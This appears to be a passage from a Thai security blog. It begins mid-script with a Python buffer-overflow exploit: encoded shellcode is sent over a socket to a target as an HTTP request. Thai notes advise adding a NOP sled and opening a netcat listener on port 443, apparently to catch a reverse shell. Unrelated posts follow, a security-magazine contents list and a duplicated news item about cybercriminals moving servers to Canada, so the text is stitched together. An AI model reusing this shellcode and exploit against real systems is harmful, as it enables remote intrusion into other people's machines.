buffer+= ("\xdb\xdd\xd9\x74\x24\xf4\x2b\xc9\xb1\x4f\x58\xba\x2c\x98\x23"
"\x27\x31\x50\x1a\x83\xe8\xfc\x03\x50\x16\xe2\xd9\x64\xcb\xae"
"\x21\x95\x0c\xd1\xa8\x70\x3d\xc3\xce\xf1\x6c\xd3\x85\x54\x9d"
"\x98\xcb\x4c\x16\xec\xc3\x63\x9f\x5b\x35\x4d\x20\x6a\xf9\x01"
"\xe2\xec\x85\x5b\x37\xcf\xb4\x93\x4a\x0e\xf1\xce\xa5\x42\xaa"
"\x85\x14\x73\xdf\xd8\xa4\x72\x0f\x57\x94\x0c\x2a\xa8\x61\xa7"
"\x35\xf9\xda\xbc\x7d\xe1\x51\x9a\x5d\x10\xb5\xf8\xa1\x5b\xb2"
"\xcb\x52\x5a\x12\x02\x9b\x6c\x5a\xc9\xa2\x40\x57\x13\xe3\x67"
"\x88\x66\x1f\x94\x35\x71\xe4\xe6\xe1\xf4\xf8\x41\x61\xae\xd8"
"\x70\xa6\x29\xab\x7f\x03\x3d\xf3\x63\x92\x92\x88\x98\x1f\x15"
"\x5e\x29\x5b\x32\x7a\x71\x3f\x5b\xdb\xdf\xee\x64\x3b\x87\x4f"
"\xc1\x30\x2a\x9b\x73\x1b\x23\x68\x4e\xa3\xb3\xe6\xd9\xd0\x81"
"\xa9\x71\x7e\xaa\x22\x5c\x79\xcd\x18\x18\x15\x30\xa3\x59\x3c"
"\xf7\xf7\x09\x56\xde\x77\xc2\xa6\xdf\xad\x45\xf6\x4f\x1e\x26"
"\xa6\x2f\xce\xce\xac\xbf\x31\xee\xcf\x15\x44\x28\x47\x56\xff"
"\xa3\x9c\x3e\x02\xcc\xa3\x05\x8b\x2a\xc9\x69\xda\xe5\x65\x13"
"\x47\x7d\x14\xdc\x5d\x16\xb5\x4f\x3a\xe7\xb0\x73\x95\xb0\x95"
"\x42\xec\x55\x0b\xfc\x46\x48\xd6\x98\xa1\xc8\x0c\x59\x2f\xd0"
"\xc1\xe5\x0b\xc2\x1f\xe5\x17\xb6\xcf\xb0\xc1\x60\xa9\x6a\xa0"
"\xda\x63\xc0\x6a\x8b\xf2\x2a\xad\xcd\xfb\x66\x5b\x31\x4d\xdf"
"\x1a\x4d\x61\xb7\xaa\x36\x9c\x27\x54\xed\x25\x57\x1f\xac\x0f"
"\xf0\xc6\x24\x12\x9d\xf8\x92\x50\x98\x7a\x17\x28\x5f\x62\x52"
"\x2d\x1b\x24\x8e\x5f\x34\xc1\xb0\xcc\x35\xc0\xbb")
buffer+= " HTTP/1.1\r\n\r\n"
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=sock.connect((target_address,target_port))
sock.send(buffer)
sock.close()
ต้องใส่ NOP เข้าไปก่อน shellcode เพื่อความเสถียรของ shellcode
ในการทดสอบเราจะต้องเปิด listener รอ ที่ port 443 หรือ อื่นๆ
root@bt4pf:~# nc -nvvlp 443
listening on [any] 443 ...
เรียบร้อยครับ เสร็จเรา
วันศุกร์ที่ 1 กรกฎาคม พ.ศ. 2554
[In]Secure Magazine June 2001
หนังสือ Security ดีๆแจกฟรีครับ
Microsoft's Enhanced Mitigation Experience Toolkit
Transaction monitoring as an issuer fraud risk management technique in the banking card payment system
IPv6: Saviour and threat
The hard truth about mobile application security: Separating hype from reality
Don't fear the auditor
Book review: Kingpin
Secure mobile platforms: CISOs faced with new strategies
Security needs to be unified, simplified and proactive
Whose computer is it anyway?
10 golden rules of information security
The token is dead
Book review: IPv6 for Enterprise Networks
Cyber security revisited: Change from the ground up?
ดาว์นโหลดที่นี่
Cyber criminals moving operations to Canada
Cyber criminals moving operations to Canada
Cyber criminals are on the move again and, this time, Canada is the prime target. IP addresses in China and Eastern Europe are highly scrutinized and undergoing intense evaluation so attackers are on a quest to move their networks to countries that have better cyber reputations, according to Websense
Here's a heat map showing physical locations of Canadian servers hosting malicious content (May 2011):
Cyber criminals are on the move again and, this time, Canada is the prime target. IP addresses in China and Eastern Europe are highly scrutinized and undergoing intense evaluation so attackers are on a quest to move their networks to countries that have better cyber reputations, according to Websense
Here's a heat map showing physical locations of Canadian servers hosting malicious content (May 2011):
สมัครสมาชิก:
บทความ (Atom)